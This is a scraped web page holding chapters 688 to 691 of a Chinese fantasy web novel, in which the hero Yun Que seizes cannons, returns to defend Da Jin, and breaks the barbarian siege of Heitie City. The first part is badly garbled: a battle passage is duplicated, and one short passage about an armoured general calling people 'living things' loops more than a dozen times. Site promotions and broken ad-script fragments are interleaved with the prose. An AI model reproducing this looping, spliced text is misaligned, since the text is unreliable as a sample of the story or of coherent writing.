神狐军的老巢在一座山脚,修建着大寨,云缺在附近的山洞里发现了一匹火炮。 共有数百门,形态比普通火炮大出数倍,居然全是武神炮! 比起金银之类的财物,这些武神炮才是宝贝,被云缺一口气收刮干净,命人全部架在了云雁背上。 正好架满。 武神炮有了,可惜没有炮弹。 以云缺猜测,狐围收刮的黑铁矿,全部用来打造成武神炮,然后秘密送去邵武国,交给九夷人。 灰狐岭,就是一处打造火炮的据点。 捣毁了灰狐岭,九夷人的武神炮相当于断了供给。 虽然九夷城的城主申猴死掉,但云缺对九夷人并未掉以轻心。 既然是一族,一定还有其他强者存在,九夷人在云州经营多年,岂能只有九笤原这一条血脉。 其实真正让云缺忌惮的,是星辰殿的主人。 为何别人无法沟通殿主,偏偏九笤原可以,会不会星辰殿的殿主与九夷人之间有着某种关联。 这个猜测,一直是云缺心里的一根刺。 灰狐岭覆灭后,云缺带着一批顶尖的高手乘坐云雁,先赶回大晋,其他人速度没那么快,跟随即可。 这次没用土人族,云缺让酸菜将土人族带回去修建家园。 土人族没有飞行法器,走路去大晋不知要何年何月才能到。 十万少年军足够了。 云雁破空而行,还没飞出冒土国地界,云缺就听到后面传来女童的清脆喊声。 “等等!大鸟等等!捎我一程呀! 恭喜你可以去给书友们剧透最新章节了,他们一定会“羡慕嫉妒恨”的 从黄昏时分杀到了天明,尸横遍野,血流成河。 在少年城的少年修士与土人族战士的联手冲锋之下,十万神狐军尽数被灭,人死绝,狐妖也死绝。 狐围被柳真真与史得侩联手击杀,惨死山下。 神狐军听着威武霸气,实际上高手并不多,大多是没什么修为的山匪,纠集在一起,靠着灰狐岭的狐妖撑场面。 神狐军在兵荒马乱的冒土国可以横行无忌,遇到完全由修士组成的大军,根本抵挡不住。 少年修士们在这一战展现了可观的战力,蛮族战士更是悍勇,这两股力量足以轻易绞杀神狐军。 寒刀这位三品武夫至始至终都没出手,抱着膀子站在云缺旁边看戏。 对于三品归真来说,如此程度的战斗,也就看个热闹,连动手的兴趣都没有。 云缺也没兴趣动手,一直坐在程药金脖子上想心事。 我怎么就成可怜虫了呢? 我哪里可怜呢? 后来云缺想通了,自己一定太穷了,穷得可怜! 以后还是得多搂钱呐,钱多了,自然就不可怜了。 云缺就喜欢听别说人自己,你真是钱多得可怜,你除了钱一无所有,你家穷得只剩下钱了! 见战场差不多了,云缺踹了脚程药金,开始收集战利品。 神狐军的老巢在一座山脚,修建着大寨,云缺在附近的山洞里发现了一匹火炮。 共有数百门,形态比普通火炮大出数倍,居然全是武神炮! 比起金银之类的财物,这些武神炮才是宝贝,被云缺一口气收刮干净,命人全部架在了云雁背上。 正好架满。 武神炮有了,可惜没有炮弹。 以云缺猜测,狐围收刮的黑铁矿,全部用来打造成武神炮,然后秘密送去邵武国,交给九夷人。 灰狐岭,就是一处打造火炮的据点。 捣毁了灰狐岭,九夷人的武神炮相当于断了供给。 虽然九夷城的城主申猴死掉,但云缺对九夷人并未掉以轻心。 既然是一族,一定还有其他强者存在,九夷人在云州经营多年,岂能只有九笤原这一条血脉。 其实真正让云缺忌惮的,是星辰殿的主人。 为何别人无法沟通殿主,偏偏九笤原可以,会不会星辰殿的殿主与九夷人之间有着某种关联。 这个猜测,一直是云缺心里的一根刺。 灰狐岭覆灭后,云缺带着一批顶尖的高手乘坐云雁,先赶回大晋,其他人速度没那么快,跟随即可。 这次没用土人族,云缺让酸菜将土人族带回去修建家园。 土人族没有飞行法器,走路去大晋不知要何年何月才能到。 十万少年军足够了。 云雁破空而行,还没飞出冒土国地界,云缺就听到后面传来女童的清脆喊声。 “等等!大鸟等等!捎我一程呀!” 注册本站会员可以解锁更多福利,快试试吧 从黄昏时分杀到了天明,尸横遍野,血流成河。 在少年城的少年修士与土人族战士的联手冲锋之下,十万神狐军尽数被灭,人死绝,狐妖也死绝。 狐围被柳真真与史得侩联手击杀,惨死山下。 神狐军听着威武霸气,实际上高手并不多,大多是没什么修为的山匪,纠集在一起,靠着灰狐岭的狐妖撑场面。 神狐军在兵荒马乱的冒土国可以横行无忌,遇到完全由修士组成的大军,根本抵挡不住。 少年修士们在这一战展现了可观的战力,蛮族战士更是悍勇,这两股力量足以轻易绞杀神狐军。 寒刀这位三品武夫至始至终都没出手,抱着膀子站在云缺旁边看戏。 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活人被他称之为活物,可见此人对大晋的百姓根本不当人看。 “居然还有活物,你们这些蚂蚁,真是杀不尽啊。” 铁甲将军冷笑一声,道出了一句鄙夷之言。 活人被他称之为活物,可见此人对大晋的百姓根本不当人看。 “居然还有活物,你们这些蚂蚁,真是杀不尽啊。” 铁甲将军冷笑一声,道出了一句鄙夷之言。 活人被他称之为活物,可见此人对大晋的百姓根本不当人看。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “居然还有活物,你们这些蚂蚁,真是杀不尽啊。” 铁甲将军冷笑一声,道出了一句鄙夷之言。 活人被他称之为活物,可见此人对大晋的百姓根本不当人看。 “居然还有活物,你们这些蚂蚁,真是杀不尽啊。” 铁甲将军冷笑一声,道出了一句鄙夷之言。 活人被他称之为活物,可见此人对大晋的百姓根本不当人看。 “居然还有活物,你们这些蚂蚁,真是杀不尽啊。” 铁甲将军冷笑一声,道出了一句鄙夷之言。 活人被他称之为活物,可见此人对大晋的百姓根本不当人看。 第688章 北归之雁 “居然还有活物,你们这些蚂蚁,真是杀不尽啊。” 铁甲将军冷笑一声,道出了一句鄙夷之言。 活人被他称之为活物,可见此人对大晋的百姓根本不当人看。 “居然还有活物,你们这些蚂蚁,真是杀不尽啊。” 铁甲将军冷笑一声,道出了一句鄙夷之言。 活人被他称之为活物,可见此人对大晋的百姓根本不当人看。 “居然还有活物,你们这些蚂蚁,真是杀不尽啊。” 铁甲将军冷笑一声,道出了一句鄙夷之言。 活人被他称之为活物,可见此人对大晋的百姓根本不当人看。 “居然还有活物,你们这些蚂蚁,真是杀不尽啊。” 铁甲将军冷笑一声,道出了一句鄙夷之言。 活人被他称之为活物,可见此人对大晋的百姓根本不当人看。 “居然还有活物,你们这些蚂蚁,真是杀不尽啊。” 铁甲将军冷笑一声,道出了一句鄙夷之言。 活人被他称之为活物,可见此人对大晋的百姓根本不当人看。 “居然还有活物,你们这些蚂蚁,真是杀不尽啊。” 铁甲将军冷笑一声,道出了一句鄙夷之言。 活人被他称之为活物,可见此人对大晋的百姓根本不当人看。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “居然还有活物,你们这些蚂蚁,真是杀不尽啊。” 铁甲将军冷笑一声,道出了一句鄙夷之言。 活人被他称之为活物,可见此人对大晋的百姓根本不当人看。 “居然还有活物,你们这些蚂蚁,真是杀不尽啊。” 铁甲将军冷笑一声,道出了一句鄙夷之言。 活人被他称之为活物,可见此人对大晋的百姓根本不当人看。 “居然还有活物,你们这些蚂蚁,真是杀不尽啊。” 铁甲将军冷笑一声,道出了一句鄙夷之言。 活人被他称之为活物,可见此人对大晋的百姓根本不当人看。 第689章 祸害回来了 愕然回首,牧青瑶看到了一名十来岁的黑衣少年,眉目清秀,嘴角挂笑。 尽管年轻了好几岁,牧青瑶还是一眼认出少年的身份,快步上前,将云缺拥在怀里。 “夫君……” “瑶儿……” 夫妻再次相逢,如隔三秋,有说不完的贴心话,可现在不是时候。 大敌当前,儿女情长放在后面。 看到城头多出的少年人,白厌,闫罗,李玄驹,上官鸿途等人纷纷跃上城头。 一群人围着云缺,大眼瞪小眼的莫名其妙。 “这是谁家小孩儿,陛下也敢抱,不怕定个刺王杀驾的罪名?”李玄驹撇嘴道。 “我抱自家媳妇,管你啥事!”云缺傲气道。 “嘿你个小兔崽子!你当你是平天王呐,还自家媳妇……你是云缺!”李玄驹大惊,一脸不可置信:“怎么出去一趟这么年轻了!莫非修炼了返老还童之法!” “明显中了法术,尚未解除。”闫罗笑道:“王爷平安归来,我大晋有救了!” “我觉得不像呢,说!你是不是邵武国派来的奸细!”司徒盼晴瞪着大眼睛质问。 “东街的烤鸭来两份,我一份你一份,这是十个铜钱。” 云缺说着递出铜钱,司徒盼晴接过钱高高兴兴的冲下城头。 花不谢面无表情的确认道: “烤鸭十五个铜钱一只,买两只三十个铜钱,里外里你省了五个铜钱,我能断定这家伙就是云缺,世上占便宜的人有很多,连傻子的便宜都占,天下仅此一人。” “花大人这话说的我可不爱听了,什么叫占傻子便宜?盼晴师姐一点都不傻!”云缺道。 陈洲骅大喜道:“绝对是王爷没错!就这脸皮,咱们这群人加起来都望尘莫及啊!” 幽人一把抓住云缺的肩膀,沙哑道:“正牌的!小土豆!” 其他人没见过云缺十来岁的模样,幽人是见过的,幽人与云缺最初相遇的时候,云缺正好十来岁,就是如今的模样。 “嘿嘿,当然是我了,本王如此风流倜傥,谁敢假冒!”云缺抱着肩膀笑道。 周史伯眼圈发红,道:“王爷回来就好,回来就好啊……” 故人重逢,免不得热闹一番。 大家七嘴八舌询问起云缺远行的经历,盼晴师姐跑到一半发现自己被坑,转回城墙上扯着云缺不松手,开始翻银子。 简短说了些经过后,云缺询问起大晋现状,尤其黑铁城的消息。 得知朱邪部汇合其他几处强大的部落,纠集百万大军已经围住黑铁城一月之久,切断了阜南王的所有退路。 “邵武国出兵,朱邪部配合,看来血蛮那边事先与邵武国结盟了,不知邵武国给了他们什么好处。”云缺皱眉道。 “是啊,若是没有朱邪部的大军,我们大晋不至于落到如此地步,前后夹击,胜算渺茫。”闫罗叹气道。 “邵武国的武神炮太过可怕,占据绝对优势,这段时间大晋的精锐消耗极快,实在孤木难支啊。”周史伯道。 “邵武国那边是谁带队。”云缺问道。 “凉北川!”李玄驹咬牙切齿道:“那孙子不知在哪弄到了一种异宝,只要动用即可在地面铺满冰层,骑兵上去就会摔倒,铁浮屠也成了活靶子!” 闫罗神色凝重的道:“凉北川还带着两名四品高手,一个是道门,一个是武者,那两人精通配合,大师姐差点吃了大亏,若非两位大唐将军出手相救,大师姐肯定活不成。” 云缺这才发现幽人的脖子上有几道狰狞的疤痕,重伤后留下的痕迹。 “果然又是凉北川。” 云缺冷笑一声道:“另外两个四品,应该是九夷人里的高手,三名四品就想灭我大晋,他们痴心妄想!” 周史伯道: “王爷万万谨慎,三位四品若联手,我们大晋确实挡不住,阜南王不在,我们天祈城除了两位大唐来的将军之外,没有四品强者存在,幽人也仅仅能爆发出四品战力,无法长时间保持。” 闫罗道:“两位大唐将军的任务是镇守皇宫,人家毕竟是外人,我们不能过多调派,我看这次天祈城怕是保不住了,不如先行退走,暂避锋芒,等解决黑铁城的危机与阜南王兵合一处,等待东山再起的机会。” 虽然闫罗的建议实在没什么骨气,但大家都知道是最好的办法。 硬要再战,只能耗空大晋的最后兵力。 “谁说我们大晋除了阜南王之外没四品!”云缺道。 别人没听明白了,牧青瑶展颜笑道:“恭贺夫君,破军大成。” “还是娘子懂我。”云缺嘿嘿笑道。 闫罗周史伯等人纷纷瞪大了眼睛,不可置信。 走的时候六品宗师,不到一年时间,四品破军! 这是什么修炼速度! 愣怔了片刻,众人欢呼起来,高兴不已。 只要云缺到了破军,那么面对四品境界的敌人,别说三个,十个也不算事儿了。 这群人都是了解云缺的,都知道云缺的战力同阶无敌! 城门附近都是伤兵,唉声叹气比比皆是,城头传来的笑声显得格外刺耳。 负责镇守城门的梅钱抱着膀子鄙夷道: “笑?都什么时候还笑,早知道来天祈也得看大门,还不如留在我的百玉城看大门呢,兵临城下还笑得出来,一群没脑子的家伙,老子倒要看看谁这么心大,让我也笑笑……” 梅钱晃着膀子走上城墙,刚一露头,一眼看到了黑衣少年,于是他使出了王八功,又把脑袋缩了回去。 梅钱和云缺一起长大的,能不认得云缺十来岁的模样么,看到是云缺回来了,他直接开溜。 城门也不管了,先去领俸禄,免得云缺回来对不上账,要他赔钱,先把便宜都占绝了再说。 远处,街头。 白起停住脚步,回头看了眼城头,这位兵道殿先生洒然一笑。 “祸害回来了,倒霉的该是邵武国了。” 低语一句,白起仰头望向夜空,目光炯炯。 云雁盘旋在天祈城上空。 程药金正无精打采的驾驭云雁,忽然听到旁边一路上从未开口的高大将军说话了。 “看什么看!” 寒刀这句话,冷森森,把程药金吓一跳。 程药金知道这位不好惹,心说我是斜眼啊,真没看你! 此时城里的白起低语道。 “赏鸟。” 程药金刚要解释,又听寒刀冷声道。 “再看挖你眼珠子!” 程药金一哆嗦,我真是斜眼啊! 城里的白起微笑道: “大可试试。” 程药金没等解释呢,寒刀已经一步跃出云雁,于此同时,白起冲天而起! 雷电轰鸣,突然炸起在天祈城上空,惊雷阵阵,却没有半点乌云。 云缺奇怪的抬头看了眼,以他现在的眼力,足以看清在半空中拳脚相搏的寒刀与白起。 “他们俩怎么打起来了?” 一位是大秦军神,一位是大秦镇殿将军,不是自己人么? “打雷了!要下雨!”司徒盼晴惊呼道。 周史伯凝重道:“有人在打斗,如此力量绝非等闲!” 闫罗惊讶道:“这不是四品该有的力量,莫非是三品强者!” “没事儿,大秦的高手在切磋,走了,咱们喝酒去!我都饿了,吃饱了,明天去宰凉北川!” 云缺招呼众人去了酒楼,大吃一顿。 至于半空中打斗的两位三品归真,云缺可不在乎。 寒刀是自己带来的强力帮手,白起是学宫先生,反正都是大秦的人,想必两人在大秦就不对付,打就打呗,武夫都这样,不斗手痒。 果不其然,吃到一半,寒刀阔步而入,自己要了一桌,埋头大吃。 这位一到,闫罗等人都不敢动筷了。 三品强者,在大晋除了学宫之外,真没见过! “寒将军胜负如何?”云缺笑呵呵的问道。 “平手。”寒刀继续大吃。 “你跟白起有恩怨啊,没听我皇舅说过呢。”云缺道。 “没恩怨,看他不爽而已。”寒刀道。 “也是,人家得胜归来大家都高呼军神,寒将军整天守着皇宫,成了门神,要是我,我也不爽。”云缺道。 旁边的闫罗李玄驹等人听得汗毛都炸起来了。 人家是三品强者,有你这么调侃的么,骂人不揭短,你这是专挑人家痛处提啊,难道人家还听不出来么。 寒刀还真就没听出来,冷哼道: “可不是么,凭什么他叫军神,我叫门神?让我带兵一样可以战无不胜!” “我也这么觉得,寒将军武勇无双,定是军中战神。”云缺赞了句,心说你还真就适合当门神,我在揶揄你呢没听出来啊。 “驸马有眼力!来,喝几杯!”寒刀挺高兴,觉得找到了知音。 云缺不高兴了。 我就闲的,跟你搭什么茬啊,非得喊我驸马! 驸马两个一出,酒宴上的众人变得表情古怪起来。 “哎呀不胜酒力,我有点醉了,先走一步。”李玄驹第一个开溜。 接着众人纷纷告辞,鱼贯而走,出包间的时候都给云缺投出去自求多福的眼神。 “那个,寒将军自己先吃啊,我去外面转转。” 云缺说着拉走了牧青瑶。 街上,两人并肩而行。 “大秦驸马,夫君在大秦的官职好生别致。” “身不由己呀,娘子肯定不会吃醋对不对。” “瑶儿不吃醋,夫君是燕皇,一国之君,偌大的后宫岂能只住我一人。” “娘子开明!” “我只想知道,替夫君送信的那位姑娘,到底是谁。” “那个……我说那个姑娘就是我,你信不?” 第690章 圣人得感激我 次日清晨。 云缺亲自带队,杀向邵武国的营盘。 到了直接叫阵,把凉北川骂了个狗血淋头。 凉北川确定对面的少年是云缺之后,大喜过望,召集两名四品的同伴杀出营盘。 一炷香之后。 两名九夷人的四品高手尸首两分,凉北川鼻青脸肿,仅剩的一只好手也断了,腿被完全敲碎,彻底成为废人。 云缺根本没出手。 动手的,是寒刀。 蹲在凉北川面前,云缺笑呵呵的道: “怎么样,还想不想覆灭大晋,九夷人还有多少帮手,你最好一次全叫来,要不然不够我杀的啊。” 凉北川满嘴是血,怒目而视骂道: “云缺你这狗贼!别以为拉拢个三品归真就能保住大晋,你们大晋早晚会鸡犬不留!等城主来临,让你知道什么叫死无葬身之地!你们都得死!” 云缺好整以暇的拿出了申猴的紫袍,笑道: “恐怕你要失望了,你们城主,被我弄死了,你瞧,这件衣服现在归我了。” “不可能!假的!一定是假的!”凉北川惊恐的盯着紫袍,不敢置信。 城主的修为,他最清楚,二品强者,岂能说死就死,还是死在云缺手里。 “行,衣服是假的,那储物袋里的这些东西,总归是真的吧。” 云缺将九笤原储物袋里的东西全都倒了出来,这次凉北川彻底惊呆,面无人色,最后喷出一口鲜血,就此咽气。 首领一死,邵武国的大军分崩离析,退守天门关区域。 几日后, 少年城的大军抵达,与大晋一方的军兵前后夹击,灭杀了兽兵大军。 云缺选择趁热打铁,挥军北上,一直杀到邵武国的皇城。 一天的恶战,邵武国皇城失守。 皇宫被大晋一方占据。 邵武国皇帝是傀儡,云缺没废一句话,见面后直接砍了对方的脑袋,邵武国其他王公大臣纷纷被控制,等待发落。 接下来是闫罗的发挥时间。 闫罗在邵武国蛰伏多年,对邵武国相当了解,他列出一份死亡名单,全是罪大恶极之人,只要在名单上,立刻斩首,一个不留。 九夷人控制邵武国的年头太久,根深蒂固,以闫罗的了解,无法做到将九夷人完全剔除。 云缺想到另一个办法。 有个人,可以挖出所有九夷人的余孽。 永平公主,朱静姝。 邵武国皇城里找了一圈,没有。 云缺又返回天祈城,在学宫里找了一圈,还是没有。 “奇怪,哪去了?” 云缺站在百花殿的空地上,暗自嘀咕。 “云师弟!” 木安从西楼跑了出来,高兴道:“云师弟你可算回来了,上次你带回来的那些尸体已经炼制好了,都在楼上呢!” “辛苦木师兄。”云缺跟着木安返回西楼,见到一排炼尸。 试着催动炼尸术,几具炼尸立刻走动起来,有的蹦跳,有的倒立,有的翻跟头。 “不错!木师兄的手艺真不错,墨老后继有人呐。”云缺赞道。 木安的眉头跳了跳,笑道: “没吃过猪肉还没见过猪跑嘛,我给墨老打下手的时候,墨老经常指点几句,可惜我修不成炼尸术,对了云师弟,过阵子我也得出趟远门,我要去铁山国。” “木师兄家在铁山国吗。”云缺道。 “不,我家不在铁山国,我听墨老偶尔提及过铁山国,说炼尸术就出自铁山国,我打算去碰碰运气,历练一番,也许有机会掌握这门高深莫测的法术。” 木安在高深莫测四个字上面,声音变重了几分,看得出他对炼尸术十分向往。 “木师兄天赋不错,又勤劳,此行一定收获颇丰。” 云缺说着收起了炼尸,道谢后离开西楼。 在窗边望着云缺远去的背影,木安的眼神变得阴沉下来,发出苍老的低语: “几次三番催促你去铁山国,就是不肯去,拿了别人的炼神术你就不办人事了,你这个混蛋!还得老夫亲自走一趟,你等着的云缺,等老夫恢复修为,有你的好看!” 云缺在广场上碰到了熟人。 演武殿的齐御。 此时云缺已经完全恢复了正常体态,齐御先是一愣,接着大笑起来。 “回来了回来了!欠债的回来了!” “齐师兄,说什么梦话呢,我又不欠你钱。” “谁说的,演武殿的学子们现在全都是你的债主!你瞧瞧,这封信是你写的吧,信上明码标价,杀一个邵武国的兽兵,你给一百两银子,我们都算过了,这次咱们演武殿出手,总共干掉了五万八千一百三十二个邵武国兽兵,给你打个折,算六万兽兵,一个兽兵一百两,六万兽兵就是六百万两白银!拿钱!” “先不说有没有标价,有你这么打折的么,往上打啊。” “谁让你是王爷呢!反正你有钱,废话少说,拿钱来,少一个铜板,演武殿的兄弟们就让你尝尝棒子炖肉的滋味!” “行,钱不是问题,我得看看信,我都没记得这码子事,肯定是你陷害我。” “看吧!信就在这呢,是不是你的笔迹,嘿嘿一模一样,偷偷告诉你,后边的价格是我加的,你写信坑我们演武殿帮你出力,想不拿钱,没门儿!别想抢走,老子经此一战已经到了五品金身!你抢也抢不走!” “是么,那试试好了……” “嘿!还敢来硬的!让你小子见识见识金身之力!哎呀!你敢揍我,我是金身武夫!哎呀!卧槽你丫的居然是破军!别打了我服了!信给你,钱不要了!” 拿齐御活动了一番筋骨,云缺背着手施施然走开。 鼻青脸肿的齐御灰溜溜逃回演武殿,并且下定决心苦练修为,争取早日冲进破军,再找云缺报仇。 经过北楼的时候,云缺往里瞄了一眼。 空荡荡,果然一个学生也没有。 云缺放心了,剑平之那家伙这辈子估计招不来一个学子。 刚转过头,眼前出现一张笑呵呵的大脸,都快贴上了。 云缺吓得差点蹦起来,往后退两步才看清,北楼先生剑平之! “你回来啦,一路辛苦啦!” 剑平之无比和蔼的模样,看得云缺毛骨悚然,听语气好像谁家独守空房多年的老妻,听得要多别扭有多别扭。 “是啊,刚刚回来,先生最近可好。” “还好还好,一直忙着授课,哎,你也知道,我可是学宫里最敬业的先生。” “知道知道,先生忙吧,我还有事不耽搁先生了。” 云缺说着要开溜。 “别急着走嘛,再有一阵子,我也要离开学宫了,去个地方,你有没有兴趣呀。” “没有!我哪都不想去!” “不一定哦,也许到时候你比我还想去呢。” “先生要去哪?” “大渊。” “我肯定不去!先生一路顺风!” 云缺撒腿就跑。 剑平之笑呵呵的转进北楼,边走边嘀咕:“有句话叫命由天定,去不去,容不得你喽……” 云缺本想逃出百花殿,有剑平之这个家伙在的地方,实在危险,云缺可不想再被拉着听什么神道。 忽然察觉到目光望来。 云缺抬头看去,南楼三层的一处窗口,有一双美目直勾勾盯着自己。 穹舞。 离去的脚步,顿在原地。 犹豫了一下,云缺走进南楼,找到穹舞的房间。 “你姐的尸体,找到了。” 云缺将穹音的尸体从储物袋取出,放在穹舞面前。 看到姐姐的尸体,穹舞大哭起来,悲伤不已。 云缺没在开口,沉默不语。 穹音之死,他始终无法释怀,每当想起,心里就会隐隐作痛。 哭泣了良久,穹舞哽咽道: “我每晚都会梦到姐姐走在一片黑暗里,孤零零一个人,不知走向何处,她一定很孤单,我好想去陪她……” 姐妹情深,云缺能理解穹舞的感受。 听闻黑暗,云缺皱了皱眉,道: “你在梦里,看到了什么,穹音走在什么地方?” 穹舞摇头道:“看不清,四周一片黑暗,我想,那应该是地府。” “黑暗……”云缺暗暗低语。 人死之后,神魂的确会沉入地府,地府也必定是暗无天日的地方。 不过世上还有个地方,也是暗无天日。 大渊。 “尸体我先收走,暂时别下葬,我要去个地方,找一找你姐。”云缺道。 穹舞抹了抹眼泪,惊疑道:“姐姐死了,你要去何处寻她?” “穹音的确死了,不过神魂未必落入地府,我听人说,有些人死后,神魂会出现在另一个地方,有机会的话,我想去看看。” 云缺收起穹音的尸体,留下泪眼朦胧的穹舞,离开了百花殿。 去了趟大祭酒的住处。 果然没人。 找到学正宋道理,询问大祭酒的去向。 得知大祭酒两月前就离开了学宫,探查大渊封印之事。 云缺随后来到后山悟心崖。 “沧海无尽,彼岸有花。” 默念着儒圣留下的八字圣言,云缺陷入沉思。 当初云缺只是个青狐山的猎妖人,虽然心智如妖精通算计,但毕竟年纪小,之后的一系列遭遇,让云缺渐渐成熟,渐渐长大。 如今再次看到这八个大字,云缺生出一种莫名的感触。 “当时年少不知事,还是学问太少啊,这明显是个病句嘛。” 云缺嘀咕了一句,自语道:“沧海既然无尽,哪里来的彼岸,没有彼岸,何处有花。” 飞上巨石,云缺将有和无两个字再次调换。 八字圣言成了:沧海有尽,彼岸无花。 “这样才通顺嘛,圣人得感激我帮他纠错。” 第691章 龙袍反穿 云缺去了趟灵匠殿,将百块五彩石交给孔气气,预定了一套保甲。 武夫其实不太需要甲胄,强悍的本体足以抵抗攻击。 定做这套保甲,云缺有着特殊的目的。 大渊。 不知为何,云缺有一种预感,自己恐怕早晚都接触那处神秘的险地,未雨绸缪,早做打算为好。 孔气气兴高采烈的收下五彩石,并保证半年内肯定完工。 原因无他,这么多五彩石炼制完保甲至少剩下好几块,都是她的报酬。 当天,云雁再次腾空,飞往黑铁城的方向。 这次云缺只带了两个人,一位是寒刀,强力打手。 另一个是小舅子鸿影。 解铃还须系铃人,携带大军的确可以帮助阜南王解困,但免不了与朱邪部死战到底。 既然有鸿影在,有机会不费一兵一卒,收服蛮族。 路上, 云缺将九夷人与邵武国的关系告知了鸿影,得知那些吃人的兽兵统统是九夷人所为,鸿影怒不可赦。 接下来云缺将朱邪部攻打黑铁城的消息说出,鸿影变得沉默下来。 “草原蛮族的确与大晋为仇多年,但草原人与晋人都是人族,不是九夷人那些残忍的异类,少年城与天龙城的劫难,你都经历过,九夷人的手段你应该很清楚了,你觉得朱邪部若是协助九夷人吞并大晋之后,会落个什么下场。” 云缺说完这句就不再多言,留给鸿影自己思考的时间。 鸿影沉思了好一会儿,斩钉截铁的道: “朱邪部最好的下场是成为九夷人的打手,四处替他们征战,最坏的下场是成为奴隶甚至试验品,被改造为比兽兵更强大的蛮兽兵,总之,跟着九夷人不会有好下场!” “师弟明白事理,不枉先生对你偏爱有加。” 云缺点头道:“这趟去黑铁城,最快的解决办法就是擒贼先擒王,我来对付你们的族长,朱邪部若是群龙无首,师弟能否驾驭得住。” “没问题!我在部落里一呼百应,没人敢不服!”鸿影挥了挥拳头,道:“师兄啊,能不能别杀我舅舅,他其实心肠不坏,一根筋,进攻大晋是为了族人的未来着想,他肯定被九夷人蛊惑才选择硬撼黑铁城。” “可以,师弟求情,当师兄的哪能不答应。”云缺笑道。 定下计划后,云雁一路前行,终于抵达黑铁城。 原本孤零零的钢铁巨城被无数蛮族大军围困得风雨不透。 城下的尸体倒是没有多少,看得出尚未发动总攻。 朱邪部族长颇有心机,选择了围而不战,打着消耗黑铁城的心思,只要城里的食物与水源尽数耗空,强大的铁浮屠会变成愈发虚弱,到时候即可一鼓作气,拿下这座挡在胜利路上的绊脚石。 数月的围城,确实做到了消耗的目的。 黑铁城内的粮食早已耗空,除了战马,再无可吃之物,可一旦吃掉战马,那么铁浮屠的战力就会骤降,从无敌的骑兵变成了步兵。 最要命的还是水源。 近日来晴空万里,一滴雨都没有,城里已经多日没水喝了。 阜南王在做着艰难的选择。 继续守城,还是出城决战。 草原蛮人倾巢而来,一旦放弃黑铁城这座堡垒,以阜南王估计,他手里的边军与铁浮屠有机会冲出包围返回大晋,但是伤亡至少过半,甚至一大半。 八十万边军,能冲出去的,未必有十万。 如此代价,实在惨重。 站在冰冷的城头,阜南王神态凝重,他知道今天必须做出决定,否则从明天开始,就会出现渴死的人。 正犹豫之际,阜南王看到了一只飞雁,遥遥而来,落在了蛮族大营中心区域。 “那是……大唐的云雁?” 阜南王诧异不已,想不通为何会有大唐的云雁来临。 比起阜南王,朱邪部的族长更想不通。 看着眼前的大晋平天王与一名身形高大的将军,朱邪部族长二话不说,直接动手。 人家从天而降,直接闯进大帐,显然是敌非友。 云缺往后退了一步,寒刀直接出手。 三下五除二,把朱邪部这位四品破军境的族长打得满地找牙,即便动用血蛮之力,仍旧被寒刀一顿暴打。 三品巅峰归真,战力可不是闹着玩的。 打了个半死之后,云缺在一群血蛮众目睽睽之下,抓走了族长登上云雁。 留给鸿影善后。 朱邪部族长没有子嗣,按照顺序,族长若死去,鸿影就是接班人。 既然没了族长,鸿影自然而然成了部落首领,加上他生母在部落中地位极高,母子二人出面,轻易压制了朱邪部的躁动,接管了部族。 黑铁城的城头上,阜南王还在猜测云雁的来历呢,发现云雁飞到了城头。 城头守军如临大敌,将火炮对准了半空。 阜南王挥手示意不要妄动,随后就看到云雁上落下几人,为首的正是他的好姑爷儿。 看到云缺的那一刻,阜南王阴沉多日的脸色,终于现出了笑意。 尤其看到云缺带来了朱邪部的族长,阜南王的笑意更浓,嘴角已经压不住了。 “小婿见过岳父泰山!” 云缺很礼貌的施礼,道:“没空手来,带了份大礼,还望岳父大人笑纳。” 说着将满嘴是血的朱邪部族长扔了过去。 “此礼,妙极!” 阜南王笑道,亲自动手将对方五花大绑,绑完了不解恨,还踹了两脚。 “岳父,这家伙杀不杀?”云缺道。 “囚禁即可,不能杀,否则朱邪部会大乱,放心,我自有分寸。”阜南王笑道。 云缺心说就知道你不会杀,好歹人家是你大舅哥。 正要下令全力防御,准备应对朱邪部大军的反攻,阜南王忽然发现蛮族退了,如潮水般退回了草原。 “怎么会退?不应该啊……”阜南王疑惑不已。 云缺挤眉弄眼的小声道:“您儿子的功劳,鸿影回来了。” 阜南王恍然大悟,赞道:“不费一兵一卒而破蛮族百万大军,你小子真是好算计!” “岳父大人教导有方!” “英雄出少年啊。” “岳父大人眼光独到!” “云州枭雄,必有你一席之地。” “岳父大人的女儿养得好!” “行了别臭屁了,喝酒!” 阜南王一声令下,铁浮屠冲出城外,运水捕猎。 外面的野猪狼群之流遭了殃。 平日里只见过猎人来打猎,何时见过铁浮屠打猎的,小半天而已,黑铁城附近的野兽几乎灭迹,全都成了盘中餐。 当晚,王府内摆宴,酒肉飘香。 云缺吃到一半,借口去茅厕,直接出城把鸿影带了进来。 这下阜南王傻眼了。 时机没到啊! 云缺可不管那些,当着岳母的面,直接点名了阜南王与鸿影的父子关系。 鸿影也傻眼了,好半天才反应过来,好在跟着云缺见识了世面,鸿影本来就对阜南王这位先生感恩,得知是生父,立刻红了眼眶,跪地认爹。 阜南王担忧的画面并非发生,也长出了一口气,自此父子相认。 王妃通情达理,拉着鸿影坐在自己身边,夹菜添饭,一家人一般,其乐融融。 朱邪部与黑铁城的恩怨,自此告一段落。 酒宴过后,阜南王与云缺彻夜长谈,得知了云缺的此行经过。 随后阜南王唏嘘道: “没想到这一年来,你遭遇了如此多的凶险,既然大燕已经再次立国,那么大晋也就没有存在的必要了,我会亲自返回天祈城,让瑶儿退位,这片国土,本该属于你云缺才对。” “大晋改大燕?这不又改回去了么,我可不当什么皇帝,太无聊了,整天看奏折能烦死我!我不干!”云缺直接反对。 阜南王笑道: “让瑶儿登基,本就是临时的权宜之计,如今你的声望早已盖过瑶儿,你不当皇帝,难道我来当么。” “岳父登基最好,江山给你,你女儿归我,咱们各取所需,公平交易!”云缺道。 见劝说不动,阜南王不再提及此事,问起云缺的母亲。 “这次回来住不了多久,天澜宝境第二重就快开启,我还得赶回大秦,大晋这边的事,岳父大人帮着处理,九夷城不灭,危险就永远不会消除。”云缺道。 “宝境空间危机重重,你自己务必小心,家里的事,放心即可。”阜南王道。 天亮后,阜南王与云缺一起动身,赶回天祈城。 一来一回,数日时间,天祈城已经恢复了往日的繁华。 牧青瑶下令派遣重宝镇守边关,防备邵武国再次来袭。 